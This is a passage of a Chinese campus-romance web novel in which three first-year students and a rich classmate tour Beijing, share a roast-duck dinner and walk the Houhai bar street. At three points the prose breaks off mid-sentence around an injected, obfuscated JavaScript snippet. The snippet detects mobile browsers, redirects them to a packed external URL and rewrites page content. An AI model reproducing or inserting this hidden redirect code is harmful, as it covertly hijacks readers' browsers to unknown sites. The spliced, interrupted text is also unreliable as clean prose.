祝岁祯也关注了她这几个平台的账号,梦梦追星号的粉丝数已经四千五了。发布了几十个帖子,要么是给自家爱豆的精修图,要么是录的视频。 哇,她也是开了眼,原来去韩国追男团是这么玩的吗? 签售开始的时候表演专辑节目,边唱边跳;然后坐成一排跟面试一样,等花了大价钱的粉丝们按顺序登场;最后爱豆们会穿戴粉丝们拿来的衣服饰品道具,装扮成漂亮、帅气、可爱或者搞笑的样子让粉丝们拍照。 她还没刷完,就到四点了,得下去拿书。 反正都在宿舍楼下,两人懒得换衣服了,直接穿着长袖长裤的睡衣出大门,好死不死地碰上了俞惟叙。 梦梦低下头在她耳边悄悄哀嚎:“啊啊啊早知道有帅哥我就穿个裙子了呃啊啊啊!” 哀嚎过后,梦梦抬头,像没事人一样开朗地和俞惟叙打招呼,祝岁祯却头一撇,眼睛看向别处。 俞惟叙微笑着回了周梦津的招呼,注意力却在祝岁祯那里。 只见她穿着软软糯糯的浅蓝色棉质睡衣,纤细的脖颈上是小小的白皙的侧脸,鼻梁高挺额头圆润,利落的丸子头里有两绺碎发俏皮地伸展出来。 换掉军训服后的她,清丽乖巧得不像话,看看周围男生们的眼神,俞惟叙越发觉得自己上午那番话说得很及时。 就是得早些告诫她,不要毫无防备、天真单纯地对待异性。 “没出去玩啊?”他上前搭话。 梦梦以为俞惟叙在跟自己说话:“没有,和祯祯一起剪视频呢,刚发出去。” 俞惟叙点头:“期待百万up主的诞生。” 梦梦笑道:“不敢当,有万就行,百万我压力太大。” 祝岁祯记仇呢,从出门第一眼看见他之后,就没再瞧他。低着头躲太阳,余光瞥见俞惟叙拎了个黑色大包袋,表面全是印花。 梦梦也看到了,问他:“这是要去哪里?旅行袋都用上了。” 俞惟叙说:“不去哪儿,我舍友都不在,帮他们领课本。” 梦梦从他手里接过旅行袋的手柄,提了提,果然是空的,又还给他。 “就他们仨的课本,随便找个什么袋子装就好了,至于动用LV?” 俞惟叙接过来:“主要是不知道有多少课本,在屋里翻了一遍,没看到合适的袋子。” “哦对了,猫咪怎么样?” “还不错。” 祝岁祯走在他俩前面,每种都领了两本。她帮小羊签名的时候,导员让她签自己的名,后面加个“代”字。 她抱着书站在旁边等梦梦。俞惟叙领四个人的,刚好把他那旅行袋塞满。 梦梦好奇道:“你为啥要拿课本?两年都不在学校的人。” 俞惟叙说:“我交书本费那会儿没拿到offer呢,万一去不了。” 趁梦梦签字的时候跟导员聊天,俞惟叙过来低声对祝岁祯说:“还生气呢?我上午说的话可能有点重,抱歉,但出发点是好的。” 祝岁祯没想到他会来道歉,只好嘴硬:“没生气啊……” 他轻笑了一声,根本不信:“呵,还没生气呐?都不理我。” 她被看穿,有些尴尬,低着头扯了个理由:“只是……太晒了。而且我谨记您的教诲呢,少跟异性来往。” 俞惟叙:…… 见梦梦签完字,她抱起书:“走了。” 俞惟叙无奈地笑笑,转身去舍友们的宿舍楼。 祝岁祯上楼的时候,梦梦凑过来跟她说:“你看见鱼仔的胸肌了吗,啧啧,穿着白色衣服更明显了!” 实际上她没太关注:“是吗……我都没仔细看他穿什么衣服。” 梦梦立刻说:“Dior的。哎不对这不重要,下次再见他记得看胸肌!” 祝岁祯无所谓道:“他再大能有你大?我看你的就行了。” 梦梦笑着撞了她一下:“那能一样吗?再说了,我这是胖的,人家那是练的。” 祝岁祯坏笑着看她:“不一样吗?我不信,回去让我摸摸。” 梦梦尖叫着逃跑:“你好猥琐啊啊啊啊……” -.- 晚上邻家弟弟来找她聊天,说现在放学了。祝岁祯这才知道何希簏在二中,这所学校高三的周六日也正常放假。 祝岁祯想起自己母校一中,为了升学率简直惨无人道。 高一高二正常放假,高三两周一次假。偶尔遇上天气差的时候,学校为了学生安全,直接不放假…… 但一中的一本率确实在整个省都算比较能打的,985、211人数也蛮可观,虽然苦,但家长们都挤破了头要把孩子往一中送。 就连她,当时也是铁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17313088|198895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了心想回一中复读。第一次被拒绝时那滋味真是……她当时好不容易振作起来,差点儿又被打击得倒下。 何希簏的成绩在二中还算不错,年级前十,但要在一中肯定排一百左右了。祝岁祯和他讲了自己高三以及复读时的作息、每天各科目是怎么安排时间的,何希簏这才知道自己还远不够拼命。 祝岁祯简单鼓励了他一下,两人就不再聊了。她要准备明天出去玩耍的东西。 -.- 俞惟叙开车去玉渊潭旁的钓鱼台柒号院,这套房子里住着他舅舅一家三口和姥爷。跟俞惟叙家一样,还有个阿姨帮着做饭做家务。 吃完饭,他给姥爷看自己军训的照片,讲训练的科目。 老人家对他在国内大学参加军训十分满意,认为这才是中国孩子应该做的事情。 同时,姥爷不忘拉踩别家孩子,怒斥老李家小孩在美国如何花天酒地、老赵家孙女在法国如何纸醉金迷、以及老孙家的侄子在瑞士如何不思进取……实在是忘本。 然后姥爷就开始各种想当年,追忆往昔奋斗的岁月,在怎样艰苦的条件下与政商各界人士怎样怎样,讲俞惟叙如今的生活多么幸福之类的……让他应该多接受国内的教育和训练,思想要伟光正、作风要优良清。 俞惟叙听了这么多年,耳朵都快起茧子了,但还要认真附和。 没办法,这世上唯一能和他那个强势的妈抗衡的,只有姥爷了。 他必须获得姥爷的宠爱,在关键时刻让姥爷去抵御关理之的魔法攻击。 吃完饭,终于挨到九点,俞惟叙借口猫得有人照顾,赶紧溜回学校。 -.- 第二天,梦梦和祝岁祯坐地铁去颐和园,在四号线北宫门站下车,她们决定环湖一周深度游。 从苏州街经过,到达万寿山下,先去了须弥灵境的香岩宗印阁和四大部洲。 这里是个风格十分突出的建筑群。入目全是金顶红墙的古代楼阁,错落有致地建在山上。她俩艰难地一步步往上游览,梦梦拿相机拍摄红墙柱檐上斑驳的痕迹,是久经风霜和游人如织的证明。 再往上走,出现了佛塔,结合这处景点的各种名字,她们才发现这是汉藏佛教的建筑,怪不得远看时总有种奇妙而神秘的感觉。 两人稍作休息,继续沿着万寿山的路线参观廊殿楼阁。路上有不少美女穿着清朝服饰,在摄影师的指导下轻拿手绢、慢摇团扇,在古典的门前廊下拍照。 祝岁祯在累得恍惚的时候,冷不丁看见这些格格贵妃,霎那间以为自己穿越到了古代。 下午逛到东边小商店,梦梦为了感谢她帮忙拍照,请她吃文创雪糕。雪糕被做成十七孔桥和佛香阁画舫的样子,十分精美。 她俩一人拿一根,款式不同,以身后十七孔桥为背景,自拍了几张。 拍完她俩在湖边找了个空位置坐下啃雪糕,梦梦低头发朋友圈,祝岁祯赏景。 微风拂着水面和岸边飞柳,视野左边是长长的如玉带一般的桥,中间是辽阔的昆明湖,右边是巍峨的佛香阁。身后游客欢声笑语、前头游船自在摇曳。 祝岁祯呆呆地想,不愧是皇家园林,如果能一年四季都住在这里,这辈子该多幸福。 不一会儿,在家撸猫写代码的俞惟叙点开朋友圈,看到了周梦津的头像。 从九宫格的小图就看出来是颐和园了,最后两张是祝岁祯和周梦津的合照,一张开心地举着雪糕干杯,另一张在搞怪,俩人做了个斗鸡眼的表情,同时咬着雪糕。 他刷回前一张,放大看祝岁祯,女孩的发丝和嘴角扬起,笑容如风,眼睛澄澈干净。 俞惟叙把照片隔空传送到电脑,双击,大屏出现两个女孩的笑脸。他抱着猫面对屏幕:“欠儿姐,看看这是谁?还记得这两个姐姐吗?” “喵呜~” “这个姐姐呢?”他指着祝岁祯。 “喵呜~喵呜~” 俞惟叙笑着摸了摸猫头。 15. 第十五章 第二天远文也加入了队伍,因为梦梦承诺包交通和餐食,只要能帮忙拍素材。 梦梦昨晚问两人有什么建议去的地方,祝岁祯想都不想,脱口而出:鸟巢。 随即,她意识到这其实是俞惟叙给她的建议。 然后她摆了摆手,让远文说。远文对鸟巢、水立方这些场馆没什么兴趣,毕竟在电视上、手机上见过太多次了。但她也没想法,说听梦梦的。 梦梦查了攻略,见网上说这附近不用花太多时间,就又定了恭王府作为下一站。 星期日早上,三人先打车去了国家体育场,这地方离学校近。她们为了节省体力没有买票进去参观,只是沿着大广场一直往北走,路上顺手把几个标志性建筑拍了下来。 银白色的钢铁巨筑、像科幻电影里才有的泡泡场馆分立两侧,往北是火炬广场和玲珑塔。 三人还被一对外国情侣问了路,梦梦一眼看出这是韩国人,直接用韩语跟他们交流。此时梦梦的形象无比高大,在俩舍友眼里散发着光芒。 在奥森公园的大草坪上,三人坐着欣赏湖水林景。梦梦拿出手机继续发九宫格朋友圈,定位奥森,配上文案: 【青春没有售价我们不会停下】 她发完后,直接躺在了草坪上。 而此时躺在床上的俞惟叙,刚睁开眼。 他昨晚联系上一个在牛津的学长,配合英国的时差聊了半宿,想在交换期间去伦敦的对冲基金找个实习。 这会儿刚睡醒,就刷到周梦津发的朋友圈。 司空见惯的几个建筑,他迅速划过没仔细瞧,终于在最后一张图里看见合影。这次多了个祝岁祯的舍友,叫什么不记得了,不重要。 欠儿姐在他身上踩来踩去,他也没管,只顾着评论: 【特种兵们下午又要去哪儿?】 点击发送、起床、给猫弄吃的喝的、铲粑粑。忙完后他叹了口气: “你哥我还滴水未沾呢,先得伺候大小姐。” 他喝水的时候看了眼手机,发现评论被回复: 【去恭亲王府~然后夜游什刹海和后海~俞大帅哥有兴趣加入特种兵吗?给你个编制】 祝岁祯听到梦梦说俞惟叙评论朋友圈了,也拿起手机看了眼。一见梦梦邀请俞惟叙来,虽然觉得他肯定不会来,但还是接着梦梦那条回复: 【满员了哈,没有编制】 屏幕那头正喝水的俞惟叙,刚好刷到这条最新评论,他笑了一下,回复祝岁祯: 【凭什么听你的?我偏要去】 祝岁祯一看……天塌了。 梦梦倒是很开心,连忙私聊问他想怎么玩。 祝岁祯看他俩的聊天记录,放下心来。还好俞惟叙没有要跟她们逛景点,只说一起吃晚饭。 她也不知道为什么,总觉得俞惟叙在旁边会有些尴尬。 因为奥森太大,性质是公园,所以她们只在南门的大草坪上待一会儿,简单给梦梦拍点素材就走。 中午梦梦带她们去南锣鼓巷吃小吃,打车到街北口,梦梦下车后摩拳擦掌地放狠话: “哈哈哈!南锣鼓巷所有的美食们!打起精神来!准备进本姑娘的肚子吧哦哈哈哈哈!” 祝岁祯也不好扰了金主的兴致——到底是谁昨天晚上、看了第一期vlog评论后、怒气冲天地在宿舍咆哮要从明天开始减肥的? 南锣的美食比祝岁祯家的小吃街品类丰富多了,有很多她没见过的新奇物种。但只有一样她们没能攻克,三人只尝了一口就丢盔卸甲,连连求饶: 豆汁儿。 哇,这个味道,祝岁祯觉得自己这辈子都不会忘掉。到底是谁发明的这玩意儿呢…… 今天要是能碰见俞惟叙,高低得采访一下。 南锣街道两边都是灰砖四合院,很有老北京的风情,她们找了个车子少的小胡同拍了几张照。巨大槐树绿荫下的老巷子,安静古朴的氛围扑面而来,让照片多了些沉淀和厚重感。 从南锣南门出来,三人经由什刹海去恭王府。进府后一点点逛,祝岁祯和远文逮到人少的地方就赶紧喊梦梦来拍,差不多拍个半分钟的素材就换地方。 不愧是巨贪和珅以及后来的王爷的家,地方跟皇家园林比肯定算小的,但里面陈设摆件一看就很富贵。 小叶紫檀的床桌椅凳,上面满满当当全是泛着珍珠光泽的枝叶图案,竟然是贝母镶嵌的。梦梦低头看了眼自己脖子上的梵克雅宝贝母项链,再看看那家具,感叹百年前的贵族们是真豪奢。 更别提锡晋斋里金丝楠木建成的仙楼了,门口刚好有个导游戴着麦在介绍,她们跟着听了一耳朵。 据说这金丝楠木价值二十七个亿、里面一张椅子八十万…… 祝岁祯听得已经麻木,现在她对这些数字没什么概念了。 离开这里,她心里只想着俞惟叙家算个屁的有钱。他家有二十七亿的木头吗?有八十万的椅子吗?有…… 呃等下,八十万的椅子他家可能还真的有。 逛了许久,三人找个地方歇脚,祝岁祯拿出充电宝给手机充电。眼看着人越来越少,她查了下闭园时间,哦吼,好像差不多要到了。 祝岁祯仰头看着回廊折角处的屋檐,镂空的窗棂像冰裂纹瓷器的样式,把那一小块傍晚的天空碎成不规则的形状。 正在发呆,手机突然响起语音通话的铃声。 是俞惟叙。 她接了起来:“喂?” 俞惟叙:“你们在哪儿?” 祝岁祯:“恭王府。” 俞惟叙:“我在什刹海这附近,刚停好车,你们准备什么时候吃饭?” 祝岁祯:“你等一会儿啊,我开个免提。” 梦梦和远文参与进讨论,商量好女生先决定去哪家吃饭,他去占位置,俞惟叙要请客尽地主之谊。 梦梦和远文打开软件搜索什刹海附近的美食。 三个女生起身往出口走,商量着虽然俞惟叙请客,但也不好宰人家。 万一以后要还人情,梦梦倒无所谓,就算米其林什么的也还得起,但祝岁祯和远文就够呛了,家里给的生活费有限。 看来看去,她们选中了什刹海地铁站旁的一家烤鸭店,有个团购的四人套餐,五百多块钱,属于看起来物美价廉的类型。 梦梦把店的定位发给俞惟叙,然后截图团购套餐,说要吃这个。 俞惟叙:【OK】 到了餐馆,从二楼大厅往里走,有个宽阔的走廊,沿着墙摆着几个四人位,第三张桌子面对着她们靠里的那个位置上,坐着俞惟叙。 有两个女生经过时扭头看他,都已经走过去了还转身看他的背影,眼里全是惊艳。 她们仨相视一笑,人之常情,懂的都懂。 俞惟叙本来低着头看手机,似有所感,抬头就看到三个女生朝他走来,笑着说:“快坐吧,你们要的那个套餐我已经点好,一会儿就上齐了。” 桌子上已经放了两道凉菜点心,俞惟叙伸手招呼服务员上热菜。梦梦坐在他对面,远文挨着梦梦坐,祝岁祯只好坐他旁边的位置。 梦梦说:“刚才我和远文还聊呢,担心这店的档次不够,让俞大帅哥嫌弃。不过现在看起来,好像还不错的样子。” 俞惟叙笑了下:“怎么会嫌弃,我觉得还可以。” 梦梦用湿巾擦手,问他:“这附近不好停车吧?” 俞惟叙面露痛苦地叹了口气:“找了好久停车场,全是满的,幸好有辆车走了。” 远文放下包,又站了起来:“我去个厕所。” 梦梦立刻跟上:“我也去!” 祝岁祯回完老妈的消息,一抬头,怎么就剩她和俞惟叙俩人了? “她们去卫生间。”他提醒道。 “哦哦。” “累吗?” “嗯……超级累……别跟梦梦说。” “哈哈,行。你们干嘛安排这么紧?四年还不够你们逛的吗?” “梦梦想多拍点素材做vlog。” “行吧。人多吗?” “天呐!绝了!这几个景点今天得有一亿人!我们本来想着暑假已经过去了,怎么着人也该少点,呵,naive。” 俞惟叙赞同:“我之前从英国回来,假期里偶尔想出去逛逛,头铁了两次,后来就不去了。” “英国的景点应该也挺不错的吧?” “嗯,风格不一样。不过我那时候年纪小,一般都是跟着学校的游学活动到处转转。” 祝岁祯点点头:“唔。话说你小学没上完就出国了,是很早就开始学英语了嘛?” 他喝了点水: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17313089|198895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我爸妈从小就教我英语,为了去英国还请过两年外教一对一,然后假期里我爸妈谁有时间了就带我去国外呆一阵。” 祝岁祯羡慕道:“哇,爸妈能教你英语吗?我爸妈那英语……唉。” 俞惟叙笑了一下:“也还好吧,我爸用英语多,他经常要跟国外的学者做全英的学术交流。我妈学得不深但学得杂,有时候还给我讲串了,混着法语德语就让我记……真是灾难。” 见祝岁祯特别认真在听,他又说:“语言这东西没什么特别的,就是用进废退,得给自己一个语言环境。” 她想了想:“那你这三年都在国内,再去英国会不会不适应。” “我个人感觉还行,上个月不还有牛津的面试么,没什么大问题。不过现在肯定又有很多新鲜的流行词,去了可能要问问别人。” “哦哦。不过你说话几乎都不夹杂英语单词欸,我之前看视频,留学回来的都特别爱时不时蹦出来些英语。” 他苦笑道:“我刚回来那会儿,中文退化得超烂。同学们都嫌弃我装逼……当时班上有个同学跟我情况一样,我俩就约定好聊天不准用英文单词。说一个词,给对方一百块。” “哈哈哈哈……”祝岁祯笑得眼睛弯弯。 俞惟叙紧接着说:“这还没完,因为我俩控制不住经常说英语,来来回回给对方转一百块,次数太多被聊天软件冻结账号,说我俩账号有风险……” 祝岁祯快要被笑死。 服务员端了葱爆羊肉上来,砂锅里滋滋作响,香气扑鼻。 紧接着厨师推着一辆木架子小车到桌前,小车面板上放着焦糖色的烤鸭,外皮油光锃亮。 梦梦和远文刚好回来,赶上了厨师现场片烤鸭。 三个女生同时拿出手机,拍摄厨师切烤鸭的画面,此时此景最帅的不是请客的俞惟叙,而是厨师。 上菜了!一盘片好的烤鸭摆在中间,上面撒着干桂花,俞惟叙给她们示范怎么用面皮来卷小料和鸭肉。 明明是很简单的步骤,可让这么个帅哥一做,简直可以用活色生香来形容。修长五指托着薄薄的面皮,夹起几根黄瓜丝和山楂糕条,蘸些酱,放在面皮上。 “我不爱吃生葱就没放葱丝,你们想吃什么就放什么,随便。” 然后他夹起两片烤鸭,薄脆鸭皮和紧致鸭肉老老实实被铺在小料上。他放下筷子,面皮左右一折,“行了,这就能吃了。” 三个女生一齐伸手去蒸笼里揭面皮,按照这个步骤卷好,尝了一个。 好吃! 吃了两个后,祝岁祯玩起了搭配,把其他菜品也裹进了面皮。什么葱爆羊肉、菜心之类,能卷进去的都卷进去了,整个一大杂烩。 健谈的梦梦也不聊天了,专心干饭。她仨也确实是饿,走路多消耗大。 桌上的菜不剩什么了,梦梦摸着肚皮说:“鱼仔你不要走啊鱼仔……你走了谁还能请我们吃饭……” 祝岁祯喝了太多饮料,起身去卫生间。在隔间里她听到洗手台前有两个女生聊天。 “过道那桌的那个帅哥,是真的帅啊!哎呀可惜,有女朋友了……” “他旁边那个就是啊?” “肯定是了,不然还能是对面那俩?” “这么帅气又专一的男人哪里找哦,羡慕她女朋友。” “我去加他好友的时候,他一脸严肃‘抱歉,我有女朋友了不方便。’啊啊啊,连拒绝都好帅……” “但是她女朋友看起来真土,穿衣打扮挺差劲的,就那张脸还算过得去。看来这男朋友还挺抠门的,你就算搭上他,他也不一定给你花钱。” “要钱干什么?有那张脸就够了。” 感觉她们像是在说俞惟叙,祝岁祯听着两人离开,才悄悄出来。 她看了眼洗手台镜子中的自己,确实土土的。只简单扎了个马尾,头发没做过造型,脸上没化妆,没有首饰,穿着一件几十块的素色T恤,一百块的牛仔裤…… 可梦梦呢,衣服都是大几千块的爱豆同款潮牌,首饰也都上万。 她垂下眼,那能怎么办呢?精致是要花钱的,她也不是没打扮过,但眼下家里的经济状况,让她只能往简单朴素的风格走。 她对着镜子笑了笑,让自己别挂着臭脸出去。等毕业工作能挣钱了,什么都会有的。 16. 第十六章 回到位置上,梦梦和俞惟叙在聊首尔江南区的一家米其林餐厅,很巧的是这家餐厅他俩都去过。 祝岁祯听着听着,刚整理好的心情,又低沉了下去,越发觉得自己好穷。同龄人都已经出国吃高级餐厅了,她还为食堂十几块钱的菜犹豫。 她看了眼远文,这个舍友倒没像她一样自怨自艾,反而兴致勃勃地听着,时不时问些问题。 远文的做法瞬间给了她启发。 没经历过又怎么样呢?经济状况不是一朝一夕能改变的,与其羡慕难过,不如多听听别人的故事,起码长见识了,回头跟其他人打交道时有得聊就行。 俞惟叙不露痕迹地看了眼祝岁祯,敏锐地察觉到她好像情绪不太高。刚想提议散场,但祝岁祯很神奇地又对话题感兴趣了……他只好继续陪聊。 梦梦深得她经商老爸的真传,很擅长在对话里悄无声息地套别人家庭情况,明里暗里地想从俞惟叙这里挖点他爸妈亲戚的背景。 不过俞惟叙也不是吃素的,巧妙把话题又引到祝岁祯感兴趣的奇闻逸事、外国各地风土人情上,激发出祝岁祯和周远文的好奇心和问题,随后顺着她们的问题发散着聊,绕两圈之后周梦津就忘了之前自己要问什么…… 祝岁祯和远文道行太浅,只顾着傻听,完全没发现这俩人话中的机锋。 正聊到伦敦的海德公园没有奥森大,俞惟叙手机响了,他拿起一看,居然是他家关总。 俞惟叙:“怎么了?” 关理之:“我车呢?你把我车开哪儿了。” 俞惟叙:“你在家?” 关理之:“嗯,提前回来了。” 俞惟叙:“昨天早上开走,送我舅他们仨去环球影城,小孩儿闹着说跟同学约好了。” 关理之:“嘿——真行,怎么不开他自己家的车啊。” 俞惟叙:“这还用问吗?您那车开出去倍儿有面儿。怎么?着急用?我在跟同学吃饭。” 关理之:“没事儿,我开你这辆也行,就是不太习惯。晚上记得把猫送回来。挂了。” 梦梦问他是不是要走,俞惟叙说不走,他妈妈出差提前回来了,发现他把法拉利扔家里,开了他妈妈的车出来。 俞惟叙又多叫了两个小菜,就这样磨磨蹭蹭边吃边聊到快六点,祝岁祯都觉得有点无聊了,他们才出餐馆。 原本可以从餐馆楼旁边的小道直接去什刹海,但她们见地图上显示前面有个火神庙,就带着好奇去看了眼。 棒极了,关门…… 四人从万宁桥右拐,沿着河到金锭桥,什刹海的前海出现在视野里。岸边汉白玉栏杆上雕刻着莲瓣石榴形望柱,宽阔粼粼的水面上一道金色斜晖,对岸树影间隙中嵌着灿烂的夕阳。 远文帮梦梦在栏杆前拍照录视频,祝岁祯站在不远处倚栏静静欣赏风景,俞惟叙和她并肩站立。 直到旁边的大爷开始练习拉二胡。 实在受不了断断续续的锯木头声音,像视频卡了来回倒放一样。两人默契地离开此地,感叹这大爷真是顶级松弛感,把人流量这么大的景区当练琴房…… 在前海东沿往前海南沿这条路上走,梦梦和远文叽叽喳喳地拍照,祝岁祯和俞惟叙反而安静得很,跟在后面沉默地散步。 两人颜值颇得路人回头关注,祝岁祯这么多年其实习惯了,但她偏要借题发挥一下。 “看见没,这么多人都是瞧你的。帅哥你不然跟她俩一起走吧,我社恐。” 俞惟叙嘴角勾起一抹笑:“谁说是看我的?都是看你的好吧。我个大老爷们儿有什么好看的。” 突然身后传来小孩追逐打闹的声音,俞惟叙回头一瞥,以迅雷不及掩耳之势,拽住她的双肩包就把她扯到另一边。 祝岁祯像个小鸡崽似的,被他一秒拎走。 她还没反应过来,俩小孩闯到两人跟前,男孩拿个大竹筒杯子的雪顶奶茶在跑,后面一个小女孩追着,抢他手里的美食。 男孩继续嘻嘻哈哈飞奔,时不时扭头挑衅小女孩,也不看看路,“咣当”一下撞到梦梦,奶茶洒了一地,男孩也没站稳,摔在一滩乱七八糟的脏污上。 梦梦还没搞清楚状况,小男孩“嗷”的一下哇哇大哭。 祝岁祯和俞惟叙赶紧四处看,找小孩家长,只见不远处有两个女人在河岸旁拍照,听见哭声赶紧跑过来。 “你这个人怎么回事!怎么欺负小孩!” 男孩妈过来后,不分青红皂白就开始数落梦梦。 给梦梦气得啊…… “明明是你家小孩到处乱撞!” “他这么小的孩子,哪里会撞到你!肯定是你故意的!看看这衣服都脏了!我们一会儿还要去王府井呢你让我们怎么玩?赔钱!!” “你!……” 俞惟叙立刻上前:“这位女士,我们在后面看到了,就是你家孩子乱跑撞人,自己摔的。刚才还差点儿撞到我们,不信你报警查查监控。” 梦梦也反映过来,举起手机的GoPro:“我可是一直录着呢,都有证据,大姐你别随便冤枉人!” 祝岁祯也插了句话:“幸亏你孩子的饮料没洒到人家衣服上,不然该赔钱的是你。” 小孩家长没话说了,训斥了自家娃一声,临走的时候还多看了俞惟叙两眼,被祝岁祯发现了。 一个清洁工大爷,习以为常地走过来清扫地面。 梦梦和远文走在前面狂吐槽,祝岁祯在后面听着听着,突然笑了。 “笑什么?”俞惟叙问。 祝岁祯说:“以后路见不平,尤其是女人吵架,记得多上前见义勇为,你是带来和平的天使。” 俞惟叙扭头瞧她:“啊?” 她却摇了摇头不解释,故作神秘。 俞惟叙问不出什么,顺势转了话题:“我发现你和周梦津性格完全不一样,竟然也能玩得挺好。” 祝岁祯说:“嗯……其实她和小羊玩得更好,各方面都挺像的。只是我现在帮她做vlog,最近才经常待在一起。” “那你跟谁玩得好?” “也不能说玩得好吧,舍友对我都挺不错的。如果说性格,我可能跟远文比较像。” 俞惟叙想了想:“也不是。周远文……算了不说她。但你有点像冷淡的性格,对好多事都不太在乎,也不太说话。” “啊?冷淡?还好吧,我可能跟熟的人会热情些。至于话少……”她耸了耸肩,“少说少错吧,我小时候嘴挺毒的,无意间得罪不少人。” 俞惟叙哈哈一笑:“我稍微能感觉出来一点儿,你有时候会冷不丁损我一下,但还不到毒舌的程度。是得罪谁了让你现在都不爱说话了?” 祝岁祯的脑海中瞬间闪现出一些片段,鲜血四溅的地面、冰冷的医院、闺蜜爸妈歇斯底里的怒吼、父母一夜颓败的容颜…… 明明都已经过去了,明明是夏天,可她却突然冷得快要打寒颤。 “没什么,就是长大了,少说多听,听听你们讲的就行了。”她没什么表情地回答。 步行到什刹海南门,远文说马路对面就是北海公园,里面有著名的白塔,反正来都来了,看一眼就走。 于是祝岁祯今天的特种兵行程又多了一个项目。 从北门进去,走了没多远,北海整个就展现在眼前。在岸边望去,目光尽头就是一个郁郁葱葱的小岛,上面伫立着白塔,岸边满满当当全是背对着白塔拍照的游客。 “你要拍照吗?我帮你拍。”俞惟叙见她俩舍友玩得挺嗨,想着让祝岁祯也得有个纪念照。 “不用不用,人太多了,我在这儿随便拍拍景就行。” 她把相机拉到5倍,白塔就清晰了许多。 俞惟叙在她旁边说:“你下次再来的时候,可以去爬白塔。白塔上面朝西边有个机位,能同时拍到景山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17313090|198895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 山顶的亭子和国贸的中国尊,我见有人说这叫‘古今同框’。” 祝岁祯转头看他:“哦?是吗?那我下次专门来北海玩一趟,今天脚底板太疼,实在不行了。” 俞惟叙笑道:“我就知道你们走得累,才专门开我妈的车出来。晚上送你们回去。” 北海公园出来,接着从荷花市场往北走,到了银锭桥,就是后海的地界了。 太阳已经落下,夜幕降临,后海与前海完全不同,是另一番景象。 路旁酒吧林立,一家紧接着一家。室内各色灯光来回扫射,每家都有一个小舞台,驻唱歌手或者乐队在台上演奏,音乐歌声从里面飘荡出来,传到路人的耳朵里。 “哇……这氛围,好绝!咱们要挑一家进去看看不?”梦梦就爱这种地方,立刻精神抖擞。 远文犹豫道:“这挺贵的吧……” 梦梦一把揽住她:“不贵!不是说了我请吗?哦对了,鱼仔,你也一起吧!我请!” 俞惟叙立刻摆摆手:“太吵了,我就在外面逛逛。” 她们往前走了几步,下一家驻唱歌手是个很清爽的帅哥,抱着古典吉他低声吟唱:“你的心有一道墙,但我发现一扇窗……” 远文捧着脸:“天呐!我最喜欢的《心墙》!哇,男生竟然能把女生的歌也唱得这么好听!” 梦梦说:“他唱的是林俊杰版本的,就是吉他伴奏。” “啊?真的吗?我只听过郭静那版……” “这歌得有十几年了吧,这么潮的地方居然唱这么古早的歌。不过在这儿猛地一听,还挺新鲜的。” 下个店就不走文艺怀旧风了,四五个俊男靓女台上蹦迪,炸翻全场。 俞惟叙皱眉快步走开,梦梦看见他的反应,在后面哈哈大笑。 四人晃晃悠悠边走边听,见识了各家酒吧的风格。突然,梦梦好像打了鸡血一样,精神振奋地拉着远文往下一家走。 这家主唱在唱韩语歌,在一众国语粤语英语里显得与众不同。 祝岁祯和俞惟叙跟上她俩,门口招揽顾客的店员见到两人,眼前一亮,赶紧过来: “帅哥美女!进来玩玩吧?” 祝岁祯指了指前面俩舍友:“我们一起的。” 店员转身,和梦梦远文对视了一下。 “你们四个一起的吗?买两杯送两杯,怎么样?” 梦梦惊讶了:“今天有活动?” 有点小帅的店员笑了笑,指了下祝岁祯:“想请美女帅哥来捧捧场啦~” 四人明白了,这酒吧喜欢颜值高的,能吸引更多客人进来消费。 梦梦开心道:“好哇!祯祯、鱼仔,走!就这家了!我请客!” 俞惟叙立刻说:“她不去。” 三个女生:??? “谁说我不去了?”祝岁祯觉得莫名其妙,“你不想去的话,就先回吧,我们仨打车走。” 她对店员笑了笑,有些不好意思地问:“我们仨的话,还有优惠吗?” 店员立刻点头,对她态度超好:“有!美女嘛,请你喝!你想喝几杯都行!” 祝岁祯有些开心:“谢谢啦~”说着就要跟他进去。 突然,祝岁祯手腕上多了一道力。 她迷茫地低头看,但炽热的温度立刻离开了。 下一秒,她双肩包被扯住,随后整个人不受控制地倒退,离舍友越来越远。 她慌张地保持平衡不让自己摔倒,扭头一看,是俞惟叙的背影。 “哎哎哎,俞惟叙……你干嘛……” 她又回头,只见舍友们和店员都惊讶地看着她。 没走几步,横穿过不宽不窄的马路,祝岁祯被他拽到河岸边的栏杆旁。 “你干嘛啊……”祝岁祯终于站稳了,有些抱怨地看着他。 俞惟叙面无表情,垂着眼威胁她:“祝岁祯,你敢进去试试看。” 17. 第十七章 